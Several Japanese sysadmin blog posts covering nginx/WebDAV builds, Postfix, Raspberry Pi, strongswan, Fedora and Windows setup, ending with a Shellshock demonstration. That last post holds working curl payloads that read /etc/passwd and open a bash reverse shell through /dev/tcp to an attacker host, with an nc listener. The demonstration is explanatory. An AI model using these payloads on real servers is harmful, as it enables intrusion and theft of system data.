Ubuntu 14.04 + nginx で HTTP/2 サーバ

※以下は Ubuntu 14.04 用の内容です。Ubuntu 16.04 であれば、標準パッケージでHTTP/2が使えて、様々な機能が追加された nginx-extras が利用可能です。そちらを使いましょう。

nginx公式で配布されているmainlineバイナリを使えばHTTP/2は利用できるのだが、nginx-dav-ext-moduleが同時にコンパイルされておらずWebDAVが使い物にならないため、リビルドを実行する。

1. ビルド環境を準備する

開発環境をインストールする。

sudo apt-get install build-essential debhelper

nginxのビルドに必要なライブラリ・ヘッダをインストールする。

sudo apt-get install libpcre3-dev libxml2-dev libxslt1-dev libgd-dev libssl-dev libgeoip-dev

2. nginx公式のパッケージをapt-getで利用できるようにする

apt sourceとして登録する。

curl http://nginx.org/keys/nginx_signing.key | sudo apt-key add -
sudo vi /etc/apt/sources.list.d/nginx.list

/etc/apt/sources.list.d/nginx.listファイル:

deb http://nginx.org/packages/mainline/ubuntu/ trusty nginx
deb-src http://nginx.org/packages/mainline/ubuntu/ trusty nginx

3. ソースパッケージを取得してビルドする

sudo apt-get update
apt-get source nginx
cd nginx-1.9.12
git clone https://github.com/arut/nginx-dav-ext-module.git
vi debian/rules

nginx-1.9.12/debian/rulesファイル:

    --add-module=./nginx-dav-ext-module \ この行を追加

実際にビルドする。

dpkg-buildpackage -us -uc -b -d
cd ..

4. ビルドしたパッケージをapt-getでインストールする

ローカルのdebレポジトリを作成する。

sudo mkdir -p /usr/src/deb
sudo mv *.deb /usr/src/deb/
sudo bash
# cd /usr/src/deb
# apt-ftparchive packages . | gzip -c9 > Packages.gz
# apt-ftparchive sources . | gzip -c9 > Sources.gz
# exit
sudo vi /etc/apt/sources.list.d/local.list

/etc/apt/sources.list.d/local.listファイル:

deb file:/usr/src/deb/ ./

インストールを実行する。

sudo apt-get update
sudo apt-get install nginx

参考URL:
Ubuntu (Debian) で nginx に WebDAV拡張モジュール(ngx-dav-ext-module)を組み込むで使ってみる
Nginx で WebDAV 環境構築、PROPFIND 405 が使えなかったのでソースからコンパイルしてみた
ローカルに置いたdebファイルをapt-get installでインストールする
Nginxセキュリティ設定
Ubuntu+php5-fpm+mysql で LEMP 環境に WordPress をインストール
Let’s EncryptとnginxでHTTP/2サーバを立てる

Postfixのsender_canonical_mapsでヘッダを書きかえてくれない

sender_canonical_mapsを設定したけど、エンベロープFromは書きかわってもヘッダFromが書きかわらない!という場合がある。sender_canonical_classes にもちゃんと header_sender が含まれている(デフォルト)のに書きかわらない。

結論から言うと、local_header_rewrite_clients の設定を見直す必要がある。

デフォルトでは

local_header_rewrite_clients = permit_inet_interfaces

となっていて、サーバのローカルから送信されたメールのみ、ヘッダも書きかえるという動作をする。つまり、メールハブでいくらsender_canonical_mapsを設定しても、他サーバから送信されたメールのFromは書きかえてくれないのだ。

管理しているドメイン(ローカルネットワーク)内のどのクライアント・サーバから送られたメールでもFromヘッダを書きかえ対象としたい場合、管理対象ドメインのIPアドレスをmynetworksに列挙した上で

local_header_rewrite_clients = permit_mynetworks

とする必要がある。

参考:

Postfixで送信者(From:)によってルーティングを変更する

メールのFrom:を見て、条件により nexthop メールリレーサーバを変更する設定をしたい。アウトバウンドリレーサーバに、ライセンス数制限のあるメールセキュリティアプライアンスなどを選択したい場合に使う。

設定項目としては、sender_dependent_default_transport_maps と sender_dependent_relayhost_maps がある。どちらを使っても同等の動作を実現できるが、少し書式が異なる。

1. sender_dependent_default_transport_maps を使う場合

/etc/postfix/main.cf:

sender_dependent_default_transport_maps = hash:/etc/postfix/sender_dependent_transport

/etc/postfix/sender_dependent_transport:

@example.co.jp            smtp:[リレーサーバ1]:25
@sub.example.co.jp        smtp:[リレーサーバ2]:25

メールの送信者が foo@example.co.jp の場合はリレーサーバ1に、bar@sub.example.co.jp の場合はリレーサーバ2に送られる。

この設定は、default_transport (デフォルト値: smtp) をエンベロープ From: によって上書きするというものである。上記のような書き方もできるし、master.cf で別の transport を定義しておき右辺に使うことも可能。

2. sender_dependent_relayhost_maps を使う場合

/etc/postfix/main.cf:

sender_dependent_relayhost_maps = hash:/etc/postfix/sender_dependent_relayhost

/etc/postfix/sender_dependent_relayhost:

@example.co.jp           [リレーサーバ1]:25
@sub.example.co.jp       [リレーサーバ2]:25

これは relayhost の設定を From: によって上書きするという機能なので、テーブルの右辺は relayhost を書くときの形式でなければならない。つまり、 transport:host:port の形式ではなく、host:port だけの形式となる。

ただし、「この情報は relay_transport、default_transport および transport(5) テーブルで上書きされます。」とのことなので、transportテーブルを併用する場合は思った通りに動作しないかもしれない(そこまでは手元で試していない)。

Raspberry Pi 2にRaspbian jessieをインストール

注意

これは古い記事です。Raspbianの配布元からjessieが配布されるようになりました(2015/9現在)ので、そちらを使ってください。

1. 準備

OSイメージをダウンロードし、microSDカードに書き込む(以下はMac OS Xで作業した場合の手順)

$ unzip 2015-05-05-raspbian-wheezy.zip
$ sudo dd if=2015-05-05-raspbian-wheezy.img of=/dev/disk2 bs=4m

2. 起動直後の設定

USBキーボード、HDMIでモニタを接続して、さきほど書き込んだSDカードをRaspberry Piにさしかえて起動する。コンソール上でraspi-configが起動したら、以下の設定を実行する。

・Expand Filesystem
・Internationalisation Options -> Change Locale -> ja_JP.UTF-8 -> Default Locale -> ja_JP.UTF-8
・Internationalisation Options -> Change Timezone -> Asia -> Tokyo
・Internationalisation Options -> Change Keyboard Layout -> Generic 105-Key(Intel) PC -> Other ->  Japanese 
・Advanced Options -> SSH -> Enable

その後、raspi-config終了を選択すると、システム再起動がかかる。

piユーザでコンソールログインし、rootでのsshログインができるようパスワードを設定しておく(OSバージョンアップの際にroot権限で実行するため)。

pi$ sudo passwd root

ここからはネットワークで作業する。sshでログインしてみる。

$ ssh root@rasberrypi

OSバージョンアップ(wheezy->jessie)

OSバージョンアップのため、aptのsource行をjessieに書き換える。またjessieに対応していない行は使えないようにする。

# vi /etc/apt/sources.list
wheezy -> jessie
# cd /etc/apt/sources.list.d
# for i in *.list; do mv $i $i.orig; done

OSバージョンアップを実施する。

# apt-get update
# apt-get upgrade
# apt-get dist-upgrade

途中、「root での SSH パスワード認証を無効にしますか?」と聞かれるので「いいえ」を選択する。

パッケージアップデートが終了したら、必要ないパッケージをアンインストールして再起動する。

# apt-get autoremove
# shutdown -r now

初期設定・その他

さきほど有効化してしまった、rootでのsshログインを無効化する。

$ sudo vi /etc/ssh/sshd_config
PermitRootLogin no

自分に必要なユーティリティの類をインストールしておく。

$ sudo apt-get install dnsutils heirloom-mailx mlocate screen vim

Xが起動しないようにする。

$ sudo systemctl disable lightdm.service
$ sudo systemctl disable display-manager.service
$ sudo shutdown -r now

Raspberry Pi 2はARMv7になったんだし、慣れてるUbuntu入れるのが一番いいような気もするが…

Windows 8 or 8.1 で「ネットワークの場所」を変更する

Windows 7 ではネットワークと共有センターからネットワークの場所を変更できたが、8 (8.1) では変更できない。

Windows 8.1 の場合、チャームから「PC 設定」→「ネットワーク」→「接続」→該当ネットワークをクリックして、「デバイスとコンテンツの検索」スイッチのオンオフでパブリック/プライベートを変更できる。Windows 8 の場合は参考URLを参照。

しかし、SIM スロット付き Windows 8.1 タブレットのように直接 WAN ポート (Windows 上の用語では「モバイル ブロードバンド」) を持っている場合、WAN ポートについては「デバイスとコンテンツの検索」のスイッチが表示されないため、直接レジストリを編集して変更する必要がある。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles の下の、該当するネットワークのSIDキーを選択し、その下の「Category」を変更する。
0: パブリック
1: プライベート
となる。

参考URL:
Windows 8のネットワークの場所やネットワーク名の変更 – Windowsのメモ書き

※そもそも WAN ポートのポリシーを切り替える必要はないだろう、と思われるかもしれないが、WAN ポートを使って VPN 接続し、VPN ポートを「プライベート」に切り替えると、自動的に WAN ポートもプライベート設定になってしまうという妙な動作をしてしまう(おそらく Windows 8.1 のバグ)。WAN ポートをパブリックに戻すためには、上記のレジストリ操作が必要になる。

Raspbianにstrongswan 5.xをインストール

Raspberry Pi model B+ を購入して VPN 箱にしようとしたが、Raspbian OS標準のstrongswan パッケージ (=debian wheezyのパッケージ) があまりに古い (4.5.2) ので、ソースから 5.x をインストールすることにする。

1. 標準パッケージのstrongswanをアンインストール

アンインインストールする前に、起動スクリプトをバックアップしておく。

$ sudo cp /etc/init.d/ipsec /tmp

その上で、標準のstrongswanをアンインストールする。

$ sudo apt-get purge libstrongswan strongswan \
strongswan-ikev1 strongswan-ikev2 strongswan-starter

2. ビルドに必要なパッケージをインストール

$ sudo apt-get install build-essential

3. 必要そうなライブラリをインストール

$ sudo apt-get install libgmp-dev libldap2-dev \
libcurl4-openssl-dev libpam0g-dev libkrb5-dev \
libfcgi-dev libgcrypt11-dev libxml2-dev libsqlite3-dev \
libcap-dev libldns-dev libunbound-dev libsoup2.4-dev \
libtspi-dev libjson0-dev libmysqlclient-dev libpcsclite-dev

4. ビルド・インストール

wheezy-backportsパッケージのrulesファイルを参考にしてconfigureオプションを決定する。インストール先が/usr/localではなくなるけど、まあいいでしょう…
$ wget https://download.strongswan.org/strongswan-5.2.2.tar.bz2
$ tar xjf strongswan-5.2.2.tar.bz2
$ cd strongswan-5.2.2
$ ./configure \
--disable-static \
--prefix=/usr \
--exec-prefix=/usr \
--sysconfdir=/etc \
--localstatedir=/var \
--libdir=/usr/lib \
--libexecdir=/usr/lib \
--with-tss=trousers \
--enable-addrblock \
--enable-agent \
--enable-attr-sql \
--enable-ccm \
--enable-certexpire \
--enable-cmd \
--enable-coupling \
--enable-ctr \
--enable-curl \
--enable-dhcp \
--enable-dnscert \
--enable-duplicheck \
--enable-eap-aka \
--enable-eap-aka-3gpp2 \
--enable-eap-dynamic \
--enable-eap-gtc \
--enable-eap-identity \
--enable-eap-md5 \
--enable-eap-mschapv2 \
--enable-eap-peap \
--enable-eap-radius \
--enable-eap-sim \
--enable-eap-sim-file \
--enable-eap-sim-pcsc \
--enable-eap-simaka-pseudonym \
--enable-eap-simaka-reauth \
--enable-eap-simaka-sql \
--enable-eap-tls \
--enable-eap-tnc \
--enable-eap-ttls \
--enable-error-notify \
--enable-farp \
--enable-gcm \
--enable-gcrypt \
--enable-imc-attestation \
--enable-imc-os \
--enable-imc-scanner \
--enable-imc-swid \
--enable-imc-test \
--enable-imv-attestation \
--enable-imv-os \
--enable-imv-scanner \
--enable-imv-swid \
--enable-imv-test \
--enable-integrity-test \
--enable-ipseckey \
--enable-ldap \
--enable-led \
--enable-load-tester \
--enable-lookip \
--enable-md4 \
--enable-mysql \
--enable-ntru \
--enable-openssl \
--enable-pkcs11 \
--enable-radattr \
--enable-soup \
--enable-sql \
--enable-sqlite \
--enable-systime-fix \
--enable-test-vectors \
--enable-tnccs-11 \
--enable-tnccs-20 \
--enable-tnccs-dynamic \
--enable-tnc-ifmap \
--enable-tnc-imc \
--enable-tnc-imv \
--enable-tnc-pdp \
--enable-unbound \
--enable-unity \
--enable-whitelist \
--enable-xauth-eap \
--enable-xauth-generic \
--enable-xauth-noauth \
--enable-xauth-pam \
--disable-blowfish \
--disable-des \
--with-capabilities=libcap
$ make
$ sudo make install

さすがにCPUの能力が低いので、ビルドには時間がかかる。

最初にコピーしておいた起動スクリプトを戻す。
$ sudo mv /tmp/ipsec /etc/init.d/
$ sudo update-rc.d ipsec defaults

Fedora 21 Server 初期設定

Xのデスクトップ環境をgroupinstallでインストールしようとするとコンフリクトする。

$ sudo yum groupinstall "Basic Desktop"
fedora-release-nonproduct-21-2.noarch has installed conflicts fedora-release-server: fedora-release-server-21-2.noarch
fedora-release-server-21-2.noarch has installed conflicts fedora-release-nonproduct: fedora-release-nonproduct-21-2.noarch

fedora-release-serverをアンインストールすれば解決するが、これが正解かどうかはわからない。

$ sudo yum erase fedora-release-server

その後デスクトップと開発環境などをインストールする。

$ sudo yum groupinstall "Basic Desktop"
$ sudo yum groupinstall "Development and Creative Workstation"

inittabでのランレベル変更は廃止されてるので、OSブート時に gdm を起動するよう変更するには以下のコマンドを実行する。

$ sudo systemctl set-default graphical.target

WindowsクライアントPCへドメインユーザでリモートデスクトップ接続したい

Windows Server 2008R2 サーバ群と Windows 7 クライアント群で構成されている Windows ドメインネットワークで、サーバへではなくクライアントPCへリモートデスクトップ接続をしたい場合のメモ。

リモートデスクトップの設定を有効にしても、Administrator以外のドメインユーザでログオンしようとすると「このユーザー アカウントはリモート ログインを許可されていないため、接続は拒否されました。」と表示されてしまってログオンできない。

この場合は、クライアントOS側の「リモートデスクトップ接続を許可するユーザ」に、そのドメインユーザを追加してやらねばならない。

「システムのプロパティ」→「リモート」タブを開き、右下の「ユーザーの選択」をクリックする。

1

「追加」ボタンでユーザーまたはグループを選択するが、ここでは「Builtin」OUに所属するグループは選択できない。よって、サーバーへログオンできる「Remote Desktop Users」グループをここに追加することはできない。今回は「Domain Users」グループを利用して、ドメインユーザ全てがログオンできるようにした。

2

こういう設定は Windows に詳しい人なら常識なのだろうが、不勉強なためにハマってしまった。これ、グループポリシーで全体に設定できないのだろうか…?

bash脆弱性を利用した攻撃の例

bashの脆弱性をそのままにしているWebサーバがある場合、環境変数 (User-AgentなどHTTPヘッダとして渡せば受け取ってくれる) に脆弱性を突く文字列+任意のコマンドを埋め込んで実行できる。

条件としては、さらにサーバ上に「bashを実行しそうな実在のCGIスクリプト」などが存在することが必要。CGIスクリプトの言語がshまたはbashであればその条件に該当するし、仮にPHPやPythonだったとしても、system関数などを使っていれば/bin/shが起動されるため該当する。

※RedHat, CentOS6では/bin/sh -> /bin/bashへのシンボリックリンクであるため上記が成立するが、Debian系など他のシステムでは成立しないかもしれない。以下はRedHat Enterprise Linux 6で検証している。

1. サーバ側でcat /etc/passwdを実行させる例

curlコマンドの-A(User-Agent:ヘッダを指定する)オプションを使用して、文字列を送り込む。

attacker-pc$ curl -A "() { :;};echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://攻撃対象サーバのホスト名orIPアドレス/cgi-bin/test.cgi

/cgi-bin/test.cgi は、実在する(かつ内部でbashを呼び出す)必要がある。

2. 攻撃者側へサーバのbashインタラクティブシェルを開く例

bashの/dev/tcp/host/port入出力エミュレート機能というのがあって、デバイスファイルへの書き込みが特定ホスト/ポートへのTCPパケット送出となるようになっている。

参考: suztomoの日記 – ncコマンドとbashの/dev/tcpで通信

以下、この機能を使って攻撃者側にシェルプロンプトを開いてみる実行例。
攻撃者は端末(tty1)で、ncコマンドなどを使いTCPの特定ポートを待ち受ける。以下の例では3333番ポートである。

attacker-pc-tty1$ nc -l -p 3333

このtty1端末はそのまま待ち受け状態となる。

ここでもう一つ端末(tty2)を立ち上げて、攻撃用のcurlコマンドを実行する。

attacker-pc-tty2$ curl -A "() { :;};/bin/bash -i >& /dev/tcp/攻撃者PCのグローバルIPアドレス/3333 0>&1" http://攻撃対象サーバのホスト名orIPアドレス/cgi-bin/test.cgi

すると、さきほどのtty1にサーバのシェルプロンプトが現れる。

attacker-pc-tty1$ nc -l -p 3333
bash: no job control in this shell
bash-4.1$ 

サーバ側から攻撃者PCのTCP3333番へ接続され、bashの入出力が接続された状態となった。

apacheの権限でできることであれば、ここから何でもインタラクティブに実行可能である。

※SELinuxが有効になっていれば、2.のパターンの実行は阻止される。このときhttpdのエラーログに”sh: /dev/tcp/aa.bb.cc.dd/3333: Permission denied”が記録される。

実験環境:
RedHat Enterprise Linux 6.5 x86_64
bash-4.1.2-15.el6_4

参考にしたサイト:
x86-64.jp – bashの脆弱性がヤバすぎる件
ワルブリックス株式会社 – BASHの脆弱性でCGIスクリプトにアレさせてみました
もろず blog – bash の脆弱性 “Shell Shock” のめっちゃ細かい話 (CVE-2014-6271)